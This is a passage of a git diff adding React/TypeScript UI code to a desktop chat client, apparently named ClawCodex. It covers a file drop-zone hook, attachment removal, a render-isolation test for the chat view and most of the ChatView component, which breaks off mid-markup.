+  const removeAttachment = useCallback(
+    async (id: string) => {
+      const removed = scope.remove(id)
+
+      if (
+        removed?.kind === 'image' &&
+        removed.path &&
+        activeSessionId &&
+        removed.attachedSessionId &&
+        removed.attachedSessionId === activeSessionId
+      ) {
+        await requestGateway<ImageDetachResponse>('image.detach', {
+          session_id: activeSessionId,
+          path: removed.path
+        }).catch(() => undefined)
+      }
+    },
+    [activeSessionId, requestGateway, scope]
+  )
+
+  return {
+    addContextRefAttachment,
+    addTerminalSelectionAttachment,
+    addTextToDraft,
+    attachContextFilePath,
+    attachContextFolderPath,
+    attachDroppedItems,
+    attachImageBlob,
+    attachImagePath,
+    insertContextPathInlineRef,
+    pasteClipboardImage,
+    pickContextPaths,
+    pickImages,
+    removeAttachment
+  }
+}
diff --git a/ui-desktop/src/app/chat/hooks/use-file-drop-zone.ts b/ui-desktop/src/app/chat/hooks/use-file-drop-zone.ts
new file mode 100644
index 000000000..e15d0cadf
--- /dev/null
+++ b/ui-desktop/src/app/chat/hooks/use-file-drop-zone.ts
@@ -0,0 +1,148 @@
+import { type DragEvent as ReactDragEvent, useCallback, useEffect, useRef, useState } from 'react'
+
+import { dragHasAttachments } from '@/app/chat/composer/inline-refs'
+import { ESCAPE_PRIORITY, pushEscapeLayer } from '@/lib/escape-layers'
+
+import { CLAWCODEX_PATHS_MIME, type DroppedFile, extractDroppedFiles } from './use-composer-actions'
+
+/** `'session'` is set by callers from the pointer drag session's store —
+ *  native drags only ever resolve to `'files'` here (sessions left native
+ *  DnD; see session-drag.ts). */
+export type DragKind = 'files' | 'session' | null
+
+const dragKindOf = (event: ReactDragEvent): DragKind =>
+  dragHasAttachments(event.dataTransfer, CLAWCODEX_PATHS_MIME) ? 'files' : null
+
+interface FileDropZoneOptions {
+  /** When false the zone ignores drags entirely. */
+  enabled?: boolean
+  onDropFiles: (files: DroppedFile[]) => void
+}
+
+/**
+ * "Drop anywhere in this region" affordance for FILE drags — the one drag
+ * kind still on native DnD (Finder/OS drops and the project tree must be).
+ * An enter/leave depth counter keeps nested children from flickering the
+ * active state; `onDropCapture` clears it even when a nested target (the
+ * composer) handles the drop and stops propagation before our bubble-phase
+ * `onDrop` would fire.
+ *
+ * Spread `dropHandlers` onto the container; render an overlay off `dragKind`.
+ * Esc aborts an in-flight drag, matching the sidebar session drag.
+ */
+export function useFileDropZone({ enabled = true, onDropFiles }: FileDropZoneOptions) {
+  const [dragKind, setDragKind] = useState<DragKind>(null)
+  const depth = useRef(0)
+  const aborted = useRef(false)
+
+  const reset = useCallback(() => {
+    depth.current = 0
+    setDragKind(null)
+  }, [])
+
+  // Esc aborts a file drag — the same "never mind" a session drag gets. Native
+  // DnD can't be cancelled at the OS level, so we drop the overlay and arm a
+  // guard that swallows the trailing drop instead. Top escape layer + capture
+  // stop so it doesn't also fire a handler behind the drag (see drag-session).
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (dragKind === null) {
+      return
+    }
+
+    const releaseLayer = pushEscapeLayer(ESCAPE_PRIORITY.drag)
+
+    const onKey = (event: KeyboardEvent) => {
+      if (event.key !== 'Escape') {
+        return
+      }
+
+      event.preventDefault()
+      event.stopPropagation()
+      aborted.current = true
+      reset()
+    }
+
+    window.addEventListener('keydown', onKey, true)
+
+    return () => {
+      window.removeEventListener('keydown', onKey, true)
+      releaseLayer()
+    }
+  }, [dragKind, reset])
+
+  const onDragEnter = useCallback(
+    (event: ReactDragEvent) => {
+      const kind = enabled ? dragKindOf(event) : null
+
+      if (!kind) {
+        return
+      }
+
+      event.preventDefault()
+
+      // A genuinely new drag (not a nested-child re-enter) re-arms after abort.
+      if (depth.current === 0) {
+        aborted.current = false
+      }
+
+      depth.current += 1
+      setDragKind(kind)
+    },
+    [enabled]
+  )
+
+  const onDragOver = useCallback(
+    (event: ReactDragEvent) => {
+      if (!enabled || !dragKindOf(event)) {
+        return
+      }
+
+      event.preventDefault()
+      event.dataTransfer.dropEffect = 'copy'
+    },
+    [enabled]
+  )
+
+  const onDragLeave = useCallback(() => {
+    if (enabled && --depth.current <= 0) {
+      reset()
+    }
+  }, [enabled, reset])
+
+  const onDrop = useCallback(
+    (event: ReactDragEvent) => {
+      const kind = enabled ? dragKindOf(event) : null
+
+      if (!kind) {
+        return
+      }
+
+      // Only an Esc abort swallows the drop — NOT `event.defaultPrevented`. The
+      // file tree's app-wide react-dnd HTML5Backend preventDefaults every native
+      // file drop in the capture phase, so that flag is always set here (every
+      // Finder drop would no-op). Genuine nested targets claim via stopPropagation
+      // and never reach this bubble handler anyway.
+      const claimed = aborted.current
+
+      event.preventDefault()
+      reset()
+
+      if (claimed) {
+        return
+      }
+
+      const files = extractDroppedFiles(event.dataTransfer)
+
+      if (files.length) {
+        onDropFiles(files)
+      }
+    },
+    [enabled, onDropFiles, reset]
+  )
+
+  return {
+    dragKind,
+    dropHandlers: { onDragEnter, onDragLeave, onDragOver, onDrop, onDropCapture: reset }
+  }
+}
diff --git a/ui-desktop/src/app/chat/index.test.tsx b/ui-desktop/src/app/chat/index.test.tsx
new file mode 100644
index 000000000..8caace4cc
--- /dev/null
+++ b/ui-desktop/src/app/chat/index.test.tsx
@@ -0,0 +1,164 @@
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { useState } from 'react'
+import { MemoryRouter } from 'react-router'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { assistantTextPart, type ChatMessage } from '@/lib/chat-messages'
+import {
+  $activeSessionId,
+  $awaitingResponse,
+  $busy,
+  $contextSuggestions,
+  $currentCwd,
+  $currentModel,
+  $currentProvider,
+  $freshDraftReady,
+  $gatewayState,
+  $messages,
+  $selectedStoredSessionId,
+  $sessions
+} from '@/store/session'
+
+const threadRenderCount = vi.hoisted(() => ({ current: 0 }))
+
+vi.mock('@/components/assistant-ui/thread', async () => {
+  const React = await import('react')
+
+  return {
+    Thread: () => {
+      threadRenderCount.current += 1
+
+      return React.createElement('div', { 'data-testid': 'thread' })
+    }
+  }
+})
+
+vi.mock('@/components/Backdrop', async () => {
+  const React = await import('react')
+
+  return { Backdrop: () => React.createElement('div', { 'data-testid': 'backdrop' }) }
+})
+
+vi.mock('@/components/prompt-overlays', () => ({ PromptOverlays: () => null }))
+vi.mock('@/components/chat/vibe-hearts', () => ({ COMPOSER_HEART_CONFIG: {}, HeartField: () => null }))
+vi.mock('@/lib/model-options', () => ({
+  modelOptionsQueryKey: (...parts: unknown[]) => ['model-options', ...parts],
+  requestModelOptions: vi.fn(async () => ({ models: [] }))
+}))
+vi.mock('./chat-drop-overlay', () => ({ ChatDropOverlay: () => null }))
+vi.mock('./chat-swap-overlay', () => ({ ChatSwapOverlay: () => null }))
+vi.mock('./composer', () => ({ ChatBar: () => null, ChatBarFallback: () => null }))
+vi.mock('./hooks/use-file-drop-zone', () => ({
+  useFileDropZone: () => ({ dragKind: null, dropHandlers: {} })
+}))
+vi.mock('./sidebar/session-actions-menu', async () => {
+  const React = await import('react')
+
+  return {
+    SessionActionsMenu: ({ children }: { children: React.ReactNode }) =>
+      React.createElement('div', { 'data-testid': 'session-actions-menu' }, children)
+  }
+})
+
+const { ChatView } = await import('./index')
+
+function assistantMessage(id: string, text: string): ChatMessage {
+  return {
+    id,
+    parts: [assistantTextPart(text)],
+    role: 'assistant'
+  }
+}
+
+describe('ChatView render isolation', () => {
+  beforeEach(() => {
+    threadRenderCount.current = 0
+    $activeSessionId.set('runtime-1')
+    $awaitingResponse.set(false)
+    $busy.set(false)
+    $contextSuggestions.set([])
+    $currentCwd.set('/work')
+    $currentModel.set('test-model')
+    $currentProvider.set('test-provider')
+    $freshDraftReady.set(false)
+    $gatewayState.set('closed')
+    $messages.set([assistantMessage('assistant-1', 'Stable historical answer')])
+    $selectedStoredSessionId.set('stored-1')
+    $sessions.set([{ id: 'stored-1', message_count: 1, title: 'Stable chat' } as never])
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+    $activeSessionId.set(null)
+    $awaitingResponse.set(false)
+    $busy.set(false)
+    $contextSuggestions.set([])
+    $currentCwd.set('')
+    $currentModel.set('')
+    $currentProvider.set('')
+    $freshDraftReady.set(false)
+    $gatewayState.set('idle')
+    $messages.set([])
+    $selectedStoredSessionId.set(null)
+    $sessions.set([])
+  })
+
+  it('does not re-render chat history when an unrelated parent idle tick updates', () => {
+    const props = {
+      gateway: null,
+      maxVoiceRecordingSeconds: 120,
+      onAddContextRef: vi.fn(),
+      onAddUrl: vi.fn(),
+      onAttachDroppedItems: vi.fn(),
+      onAttachImageBlob: vi.fn(),
+      onBranchInNewChat: vi.fn(),
+      onCancel: vi.fn(),
+      onDeleteSelectedSession: vi.fn(),
+      onEdit: vi.fn(),
+      onPasteClipboardImage: vi.fn(),
+      onPickFiles: vi.fn(),
+      onPickFolders: vi.fn(),
+      onPickImages: vi.fn(),
+      onReload: vi.fn(),
+      onRemoveAttachment: vi.fn(),
+      onRetryResume: vi.fn(),
+      onSteer: vi.fn(),
+      onSubmit: vi.fn(),
+      onThreadMessagesChange: vi.fn(),
+      onToggleSelectedPin: vi.fn(),
+      onTranscribeAudio: vi.fn()
+    }
+
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } }
+    })
+
+    function ParentTickHarness() {
+      const [tick, setTick] = useState(0)
+
+      return (
+        <QueryClientProvider client={queryClient}>
+          <MemoryRouter initialEntries={['/stored-1']}>
+            <button onClick={() => setTick(value => value + 1)} type="button">
+              parent tick {tick}
+            </button>
+            <ChatView {...props} />
+          </MemoryRouter>
+        </QueryClientProvider>
+      )
+    }
+
+    render(<ParentTickHarness />)
+
+    expect(screen.getByTestId('thread')).toBeTruthy()
+    expect(threadRenderCount.current).toBe(1)
+
+    fireEvent.click(screen.getByRole('button', { name: /parent tick/i }))
+
+    // memo(ChatView) with stable props must absorb the parent's idle tick —
+    // the transcript (Thread) must not re-render. This is PR #38470's contract.
+    expect(threadRenderCount.current).toBe(1)
+  })
+})
diff --git a/ui-desktop/src/app/chat/index.tsx b/ui-desktop/src/app/chat/index.tsx
new file mode 100644
index 000000000..1c578e278
--- /dev/null
+++ b/ui-desktop/src/app/chat/index.tsx
@@ -0,0 +1,630 @@
+import { type AppendMessage, AssistantRuntimeProvider, type ThreadMessage } from '@assistant-ui/react'
+import { useStore } from '@nanostores/react'
+import { useQuery } from '@tanstack/react-query'
+import type { ReadableAtom } from 'nanostores'
+import type * as React from 'react'
+import { memo, Suspense, useCallback, useEffect, useMemo, useState } from 'react'
+import { useLocation } from 'react-router'
+
+import type { SubmitTextOptions } from '@/app/session/hooks/use-prompt-actions/utils'
+import { type ClawCodexGateway } from '@/clawcodex'
+import { Thread } from '@/components/assistant-ui/thread'
+import { TranscriptWindowProvider } from '@/components/assistant-ui/thread/transcript-window'
+import { Backdrop } from '@/components/Backdrop'
+import { COMPOSER_HEART_CONFIG, HeartField } from '@/components/chat/vibe-hearts'
+import { usePaneVisible } from '@/components/pane-shell/pane-visibility'
+import { $sessionTileDragging, $sessionTileEdgeHover } from '@/components/pane-shell/tree/store'
+import { PromptOverlays } from '@/components/prompt-overlays'
+import { Button } from '@/components/ui/button'
+import { ErrorState } from '@/components/ui/error-state'
+import { TitleMenuTrigger } from '@/components/ui/title-menu-trigger'
+import { useI18n } from '@/i18n'
+import type { ChatMessage } from '@/lib/chat-messages'
+import { quickModelOptions, sessionTitle } from '@/lib/chat-runtime'
+import { useIncrementalExternalStoreRuntime } from '@/lib/incremental-external-store-runtime'
+import { modelOptionsQueryKey, requestModelOptions } from '@/lib/model-options'
+import { cn } from '@/lib/utils'
+import { migrateSessionDraft } from '@/store/composer'
+import { migrateQueuedPrompts, parkQueuedPrompts } from '@/store/composer-queue'
+import { $pinnedSessionIds } from '@/store/layout'
+import { $petActive } from '@/store/pet'
+import { $petOverlayActive } from '@/store/pet-overlay'
+import { $activeGatewayProfile, $gatewaySwapTarget, $profiles } from '@/store/profile'
+import {
+  $contextSuggestions,
+  $freshDraftReady,
+  $gatewayState,
+  $introPersonality,
+  $introSeed,
+  $resumeExhaustedSessionId,
+  $sessions,
+  resolveComposerSessionKey,
+  sessionMatchesStoredId,
+  sessionPinId,
+  shouldMigrateComposerScope
+} from '@/store/session'
+import { isSecondaryWindow, isWatchWindow } from '@/store/windows'
+import type { ModelOptionsResponse } from '@/types/clawcodex'
+
+import { primaryRouteSelectedSessionId, routeSessionId } from '../routes'
+import { titlebarHeaderBaseClass, titlebarHeaderShadowClass, titlebarHeaderTitleClass } from '../shell/titlebar'
+
+import { ChatDropOverlay } from './chat-drop-overlay'
+import { ChatSwapOverlay } from './chat-swap-overlay'
+import { ChatBar, ChatBarFallback } from './composer'
+import { requestComposerInsert } from './composer/focus'
+import { droppedFileInlineRefs } from './composer/inline-refs'
+import { useComposerScope } from './composer/scope'
+import type { ChatBarState } from './composer/types'
+import { type DroppedFile, partitionDroppedFiles } from './hooks/use-composer-actions'
+import { type DragKind, useFileDropZone } from './hooks/use-file-drop-zone'
+import { ProfileTag } from './profile-tag'
+import { useRuntimeMessageRepository } from './runtime-repository'
+import { ScrollToBottomButton } from './scroll-to-bottom-button'
+import { useSessionView } from './session-view'
+import { SessionActionsMenu } from './sidebar/session-actions-menu'
+import { threadLoadingState } from './thread-loading'
+import { selectTranscriptWindow } from './transcript-window'
+
+interface ChatViewProps extends Omit<React.ComponentProps<'div'>, 'onSubmit'> {
+  gateway: ClawCodexGateway | null
+  modelMenuContent?: React.ReactNode
+  onToggleSelectedPin: () => void
+  onDeleteSelectedSession: () => void
+  onCancel: () => Promise<void> | void
+  onAddContextRef: (refText: string, label?: string, detail?: string) => void
+  onAddUrl: (url: string) => void
+  onBranchInNewChat?: (messageId: string) => void
+  maxVoiceRecordingSeconds?: number
+  onAttachImageBlob: (blob: Blob) => Promise<boolean | void> | boolean | void
+  onAttachDroppedItems: (candidates: DroppedFile[]) => Promise<boolean | void> | boolean | void
+  onPasteClipboardImage: (opts?: { silent?: boolean }) => Promise<boolean> | void
+  onPickFiles: () => void
+  onPickFolders: () => void
+  onPickImages: () => void
+  onRemoveAttachment: (id: string) => void
+  onSteer: (text: string) => Promise<boolean> | boolean
+  onSubmit: (text: string, options?: SubmitTextOptions) => Promise<boolean> | boolean
+  onThreadMessagesChange: (messages: readonly ThreadMessage[]) => void
+  onEdit: (message: AppendMessage) => Promise<void>
+  onReload: (parentId: string | null) => Promise<void>
+  onRestoreToMessage?: (messageId: string, target?: { text?: string; userOrdinal?: number | null }) => Promise<void>
+  onRetryResume: (sessionId: string) => void
+  onTranscribeAudio?: (audio: Blob) => Promise<string>
+  onDismissError?: (messageId: string) => void
+}
+
+interface ChatHeaderProps {
+  activeSessionId: null | string
+  isRoutedSessionView: boolean
+  onDeleteSelectedSession: () => void
+  onToggleSelectedPin: () => void
+  selectedSessionId: null | string
+}
+
+function ChatHeader({
+  activeSessionId,
+  isRoutedSessionView,
+  onDeleteSelectedSession,
+  onToggleSelectedPin,
+  selectedSessionId
+}: ChatHeaderProps) {
+  const sessions = useStore($sessions)
+  const pinnedSessionIds = useStore($pinnedSessionIds)
+  const profiles = useStore($profiles)
+
+  const activeStoredSession =
+    (selectedSessionId && sessions.find(session => sessionMatchesStoredId(session, selectedSessionId))) || null
+
+  const title = activeStoredSession ? sessionTitle(activeStoredSession) : 'New session'
+
+  // Which agent/persona owns this chat — glanceable in the header once a
+  // second profile exists, so the open session's ownership is never ambiguous
+  // (#66003). Single-profile users see the unchanged header.
+  const showProfileTag = profiles.length > 1 && Boolean(activeStoredSession)
+
+  // Pins live on the durable lineage-root id, but selectedSessionId is the live
+  // (tip) id — resolve through the loaded row so the menu reflects the pin
+  // state after auto-compression rotates the id.
+  const selectedIsPinned = activeStoredSession
+    ? pinnedSessionIds.includes(sessionPinId(activeStoredSession))
+    : selectedSessionId
+      ? pinnedSessionIds.includes(selectedSessionId)
+      : false
+
+  // Secondary windows (new-session scratch, subagent watch, cmd-click pop-out)
+  // are compact side panels — they drop the session-actions header + border
+  // entirely. A brand-new draft has nothing to pin/delete/rename either.
+  if (isSecondaryWindow() || (!selectedSessionId && !activeSessionId && !isRoutedSessionView)) {
+    return null
+  }
+
+  return (
+    <header className={cn(titlebarHeaderBaseClass, isRoutedSessionView && titlebarHeaderShadowClass)}>
+      <div
+        className={cn(titlebarHeaderTitleClass, showProfileTag && 'flex items-center')}
+        style={{
+          maxWidth:
+            'calc(100vw - var(--titlebar-content-inset,0px) - var(--titlebar-tools-right) - var(--titlebar-tools-width) - 1.5rem)'
+        }}
+      >
+        {showProfileTag && <ProfileTag className="pointer-events-auto mr-1.5" profile={activeStoredSession?.profile} />}
+        <SessionActionsMenu
+          align="start"
+          onDelete={selectedSessionId ? onDeleteSelectedSession : undefined}
+          onPin={selectedSessionId ? onToggleSelectedPin : undefined}
+          pinned={selectedIsPinned}
+          sessionId={selectedSessionId || activeSessionId || ''}
+          sideOffset={8}
+          title={title}
+        >
+          <TitleMenuTrigger>{title}</TitleMenuTrigger>
+        </SessionActionsMenu>
+      </div>
+    </header>
+  )
+}
+
+interface ChatRuntimeBoundaryProps {
+  busy: boolean
+  children: React.ReactNode
+  onCancel: () => Promise<void> | void
+  onEdit: (message: AppendMessage) => Promise<void>
+  onReload: (parentId: string | null) => Promise<void>
+  onThreadMessagesChange: (messages: readonly ThreadMessage[]) => void
+  /** Route points at an unloaded session — render empty until resume swaps in
+   *  the new transcript, so the previous session's messages don't linger. */
+  suppressMessages: boolean
+}
+
+const NO_MESSAGES: ChatMessage[] = []
+
+/**
+ * The view's $messages, live only while this surface is the VISIBLE tab.
+ *
+ * Keep-alive keeps every ever-active tab MOUNTED (tree-group.tsx), so without
+ * this gate a hidden tab re-renders its entire thread on every streaming
+ * delta flush (~30×/s) — five busy tabs quintuple the per-token render cost
+ * and the app crawls. Hidden tabs freeze their transcript instead (status
+ * dots stay live through the separate status atoms) and catch up in one
+ * commit on reveal — the subscribe fires immediately with the current value.
+ */
+function useMessagesWhileVisible($messages: ReadableAtom<ChatMessage[]>): ChatMessage[] {
+  const visible = usePaneVisible()
+  const [messages, setMessages] = useState(() => $messages.get())
+
+  // nanostores types the listener value ReadonlyIfObject; the store publishes
+  // a fresh array per flush, so the cast is safe and avoids a per-token clone.
+  useEffect(
+    () => (visible ? $messages.subscribe(value => setMessages(value as ChatMessage[])) : undefined),
+    [$messages, visible]
+  )
+
+  return messages
+}
+
+/**
+ * Owns the $messages subscription and the assistant-ui external-store runtime.
+ *
+ * Isolated from ChatView so the per-token delta flush (which replaces the
+ * $messages atom ~30×/s during streaming) only re-renders this component and
+ * the runtime provider. The children (Thread, ChatBar) are created by
+ * ChatView, whose render output is stable across flushes — so React bails out
+ * of re-rendering them by element identity and the stream's render cost stays
+ * confined to the streaming message's own subtree.
+ */
+function ChatRuntimeBoundary({
+  busy,
+  children,
+  onCancel,
+  onEdit,
+  onReload,
+  onThreadMessagesChange,
+  suppressMessages
+}: ChatRuntimeBoundaryProps) {
+  const view = useSessionView()
+  const runtimeId = useStore(view.$runtimeId)
+  const storeMessages = useMessagesWhileVisible(view.$messages)
+  const messages = suppressMessages ? NO_MESSAGES : storeMessages
+
+  const [windowPages, setWindowPages] = useState(1)
+  const [windowSessionKey, setWindowSessionKey] = useState(runtimeId)
+
+  // Reset the window on session swap during RENDER, so a large expand from the
+  // previous chat can't leak into the next one's first paint (#55191).
+  if (windowSessionKey !== runtimeId) {
+    setWindowSessionKey(runtimeId)
+    setWindowPages(1)
+  }
+
+  const { messages: windowedMessages, windowed } = useMemo(
+    () => selectTranscriptWindow(messages, windowPages),
+    [messages, windowPages]
+  )
+
+  const runtimeMessageRepository = useRuntimeMessageRepository(windowedMessages)
+
+  const expandWindow = useCallback(() => setWindowPages(pages => pages + 1), [])
+
+  const transcriptWindow = useMemo(() => ({ olderAvailable: windowed, expandWindow }), [expandWindow, windowed])
+
+  const runtime = useIncrementalExternalStoreRuntime<ThreadMessage>({
+    messageRepository: runtimeMessageRepository,
+    isRunning: busy,
+    setMessages: onThreadMessagesChange,
+    onNew: async () => {
+      // Submission is handled explicitly by ChatBar.
+      // Keeping this no-op avoids duplicate prompt.submit calls.
+    },
+    onEdit,
+    onCancel: async () => onCancel(),
+    onReload
+  })
+
+  return (
+    <TranscriptWindowProvider value={transcriptWindow}>
+      <AssistantRuntimeProvider runtime={runtime}>{children}</AssistantRuntimeProvider>
+    </TranscriptWindowProvider>
+  )
+}
+
+// Memoized: the tile caller (session-tile.tsx) and the contrib surface re-render
+// on idle ticks unrelated to the chat; with stable callback props (hoisted to
+// useCallback at the call sites) memo() lets the whole chat shell skip those.
+export const ChatView = memo(function ChatView({
+  className,
+  gateway,
+  modelMenuContent,
+  onToggleSelectedPin,
+  onDeleteSelectedSession,
+  onCancel,
+  onAddContextRef,
+  onAddUrl,
+  onAttachImageBlob,
+  onAttachDroppedItems,
+  onBranchInNewChat,
+  maxVoiceRecordingSeconds,
+  onPasteClipboardImage,
+  onPickFiles,
+  onPickFolders,
+  onPickImages,
+  onRemoveAttachment,
+  onSteer,
+  onSubmit,
+  onThreadMessagesChange,
+  onEdit,
+  onReload,
+  onRestoreToMessage,
+  onRetryResume,
+  onTranscribeAudio,
+  onDismissError
+}: ChatViewProps) {
+  const location = useLocation()
+  const { t } = useI18n()
+  // The view this surface renders: the primary route-driven session (global
+  // atoms) or a tile's session slice — same component either way.
+  const view = useSessionView()
+  const composerScope = useComposerScope()
+  const isPrimary = view.kind === 'primary'
+  const activeSessionId = useStore(view.$runtimeId)
+  const storedId = useStore(view.$storedId)
+  // Dock anchor for a session drop onto this surface: the workspace pane for the
+  // primary, this tile's pane id for a tile. Read by the session-drop bridge.
+  const sessionAnchor = isPrimary ? 'workspace' : `session-tile:${storedId ?? ''}`
+  const awaitingResponse = useStore(view.$awaitingResponse)
+  const busy = useStore(view.$busy)
+  const activeGatewayProfile = useStore($activeGatewayProfile)
+  const contextSuggestions = useStore($contextSuggestions)
+  // Per-session (SessionView) reads — a tile IS its session, so these come
+  // from the view slice, not the global atoms (which track the primary only).
+  const currentCwd = useStore(view.$cwd)
+  const currentModel = useStore(view.$model)
+  const currentProvider = useStore(view.$provider)
+  // A pet anywhere (in-window or popped out) owns the hearts; composer only when none.
+  const petActive = useStore($petActive)
+  const petOverlayActive = useStore($petOverlayActive)
+  const petPresent = petActive || petOverlayActive
+  const freshDraftReady = useStore($freshDraftReady)
+  const gatewayState = useStore($gatewayState)
+  const gatewaySwapTarget = useStore($gatewaySwapTarget)
+  const gatewayOpen = gatewayState === 'open'
+  const introPersonality = useStore($introPersonality)
+  const introSeed = useStore($introSeed)
+  // PERF: ChatView must not subscribe to the view's $messages — the atom is
+  // replaced on every streaming delta flush (~30×/s) and a subscription here
+  // re-renders the entire chat shell (header, chat bar, thread wrapper) per
+  // token. The runtime that DOES need the messages lives in
+  // ChatRuntimeBoundary below; this component only needs streaming-stable
+  // derivations.
+  const messagesEmpty = useStore(view.$messagesEmpty)
+  const lastVisibleIsUser = useStore(view.$lastVisibleIsUser)
+  const selectedSessionId = useStore(view.$storedId)
+  const sessions = useStore($sessions)
+  const resumeExhaustedSessionId = useStore($resumeExhaustedSessionId)
+
+  // Durable composer/queue scope (lineage root) so auto-compression tip rotation
+  // does not wipe an in-progress draft or orphan /queue entries. For the
+  // primary view, the route is authoritative over the store selection — the
+  // latter can be momentarily null/stale mid-switch, which used to leak into
+  // the composer's scope key (#59305). A tile has no route, so it always uses
+  // its own selection directly.
+  const queueSessionKey = useMemo(() => {
+    const effectiveSelectedSessionId = isPrimary
+      ? primaryRouteSelectedSessionId(location.pathname, selectedSessionId)
+      : selectedSessionId
+
+    return resolveComposerSessionKey(effectiveSelectedSessionId, sessions)
+  }, [isPrimary, location.pathname, selectedSessionId, sessions])
+
+  // When the tip row arrives after compression, migrate any tip-keyed stash onto
+  // the durable lineage key before the composer remounts onto that key.
+  //
+  // ONLY same-conversation rekeys (tip → root). The route-driven queueSessionKey
+  // can flip to Session B a frame before the store selection leaves Session A;
+  // migrating on bare inequality would re-home A's queued prompts onto B and
+  // auto-drain them into the wrong chat.
+  useEffect(() => {
+    if (!shouldMigrateComposerScope(selectedSessionId, queueSessionKey, sessions)) {
+      return
+    }
+
+    migrateSessionDraft(selectedSessionId, queueSessionKey)
+    migrateQueuedPrompts(selectedSessionId, queueSessionKey)
+  }, [queueSessionKey, selectedSessionId, sessions])
+
+  // Transcript-side stops (the streaming message's hover Stop, the runtime's
+  // cancel) are explicit halts, same as the composer's Stop button: park any
+  // queued turns so the interrupt doesn't roll straight into the next one.
+  // ChatBar wraps its own onCancel internally — its send-now-while-busy path
+  // needs the raw interrupt — so it still receives the unwrapped prop.
+  const haltRun = useCallback(() => {
+    parkQueuedPrompts(queueSessionKey || activeSessionId)
+
+    return onCancel()
+  }, [activeSessionId, onCancel, queueSessionKey])
+
+  // A tile IS its session — no route involved, never "mismatched".
+  const routedSessionId = isPrimary ? routeSessionId(location.pathname) : selectedSessionId
+  const isRoutedSessionView = Boolean(routedSessionId)
+
+  // The URL points at a session the store hasn't loaded yet (sidebar / cmd-K /
+  // direct nav). Derived in render so the swap reads instantly: the same frame
+  // the id changes we drop the old transcript and show the loader, instead of
+  // waiting for the resume effect (which paints a frame later) to clear them.
+  const routeSessionMismatch = isRoutedSessionView && routedSessionId !== selectedSessionId
+
+  // The compact new-session pop-out skips the wordmark/tagline intro — it's a
+  // scratch window, not the full-height empty state.
+  const showIntro =
+    isPrimary &&
+    !isSecondaryWindow() &&
+    freshDraftReady &&
+    !isRoutedSessionView &&
+    !selectedSessionId &&
+    !activeSessionId &&
+    messagesEmpty
+
+  // Session is still loading if the route references a session we haven't
+  // resumed yet. Once `activeSessionId` is set (runtime has resumed), the
+  // session exists — even if it has zero messages (a brand-new routed
+  // session). The flicker where `busy` flips true briefly during hydrate
+  // is handled by `threadLoadingState`'s last-visible-user gate.
+  //
+  // resumeExhausted: the bounded auto-retry in use-route-resume gave up on this
+  // routed session (gateway RPC + REST fallback failed through every attempt).
+  // Suppress the loader and show an explicit error + manual Retry instead of
+  // spinning forever. Gated on the route matching so a stale latch from another
+  // session can't blank the current one.
+  const resumeExhausted = isPrimary && isRoutedSessionView && resumeExhaustedSessionId === routedSessionId
+
+  const loadingSession =
+    !resumeExhausted && isRoutedSessionView && (routeSessionMismatch || (messagesEmpty && !activeSessionId))
+
+  const threadLoading = threadLoadingState(loadingSession, busy, awaitingResponse, lastVisibleIsUser)
+  // Hide the composer in the exhausted error state too: there's no live runtime
+  // to send to until a retry rebinds one. Watch windows are pure spectators of a
+  // subagent run driven elsewhere — no composer, transcript is read-only.
+  const showChatBar = !loadingSession && !resumeExhausted && !isWatchWindow()
+  const threadKey = selectedSessionId || activeSessionId || (isRoutedSessionView ? location.pathname : 'new')
+
+  const modelOptionsQuery = useQuery<ModelOptionsResponse>({
+    queryKey: modelOptionsQueryKey(activeGatewayProfile, activeSessionId),
+    queryFn: () => requestModelOptions({ gateway: gateway || undefined, sessionId: activeSessionId }),
+    enabled: gatewayOpen
+  })
+
+  const quickModels = useMemo(
+    () => quickModelOptions(modelOptionsQuery.data, currentProvider, currentModel),
+    [currentModel, currentProvider, modelOptionsQuery.data]
+  )
+
+  const chatBarState = useMemo<ChatBarState>(
+    () => ({
+      model: {
+        model: currentModel,
+        provider: currentProvider,
+        canSwitch: gatewayOpen,
+        loading: !gatewayOpen || (!currentModel && !currentProvider),
+        modelMenuContent,
+        quickModels
+      },
+      tools: {
+        enabled: true,
+        label: 'Add context',
+        suggestions: contextSuggestions
+      },
+      voice: {
+        enabled: true,
+        active: false
+      }
+    }),
+    [contextSuggestions, currentModel, currentProvider, gatewayOpen, modelMenuContent, quickModels]
+  )
+
+  // Drop files anywhere in the conversation area, not just on the composer
+  // input. In-app drags (project tree / gutter) carry workspace-relative paths
+  // the gateway resolves directly, so they stay inline `@file:` refs. OS/Finder
+  // drops carry absolute local paths that don't exist on a remote gateway (and
+  // images need byte upload for vision), so route them through the attachment
+  // pipeline — otherwise the local path leaks into the prompt verbatim.
+  const onDropFiles = useCallback(
+    (candidates: DroppedFile[]) => {
+      const { inAppRefs, osDrops } = partitionDroppedFiles(candidates)
+      const refs = droppedFileInlineRefs(inAppRefs, currentCwd)
+
+      if (refs.length) {
+        requestComposerInsert(refs.join(' '), { mode: 'inline', target: composerScope.target })
+      }
+
+      if (osDrops.length) {
+        void onAttachDroppedItems(osDrops)
+      }
+    },
+    [composerScope.target, currentCwd, onAttachDroppedItems]
+  )
+
+  // Session drags are POINTER drags (session-drag.ts) — never native DnD.
+  // The drop zone below only handles files; session drops commit through the
+  // drag session itself, which routes a center/link drop to this surface's
+  // composer via `data-composer-target`.
+  const { dragKind, dropHandlers } = useFileDropZone({ enabled: showChatBar, onDropFiles })
+
+  // While a session drag targets one of this surface's EDGES or a tab strip,
+  // the zone overlay/caret owns the visual — the link overlay stands down.
+  // It shows for the whole drag on every chat surface otherwise (the drag
+  // session's global sentinel, not a per-surface hover chain).
+  // COMPUTED booleans, never the raw `$dropHint`: the hint churns on every
+  // pointer-crossing of every drag (pane drags included), and a re-render
+  // here is the WHOLE surface — thread, composer, header — per mounted tile.
+  const sessionDragging = useStore($sessionTileDragging)
+  const sessionEdgeHover = useStore($sessionTileEdgeHover)
+
+  const overlayKind: DragKind = dragKind === 'files' ? 'files' : sessionDragging && !sessionEdgeHover ? 'session' : null
+
+  return (
+    <div
+      className={cn(
+        'relative isolate flex h-full min-w-0 flex-col overflow-hidden bg-(--ui-chat-surface-background)',
+        className
+      )}
+      data-chat-surface=""
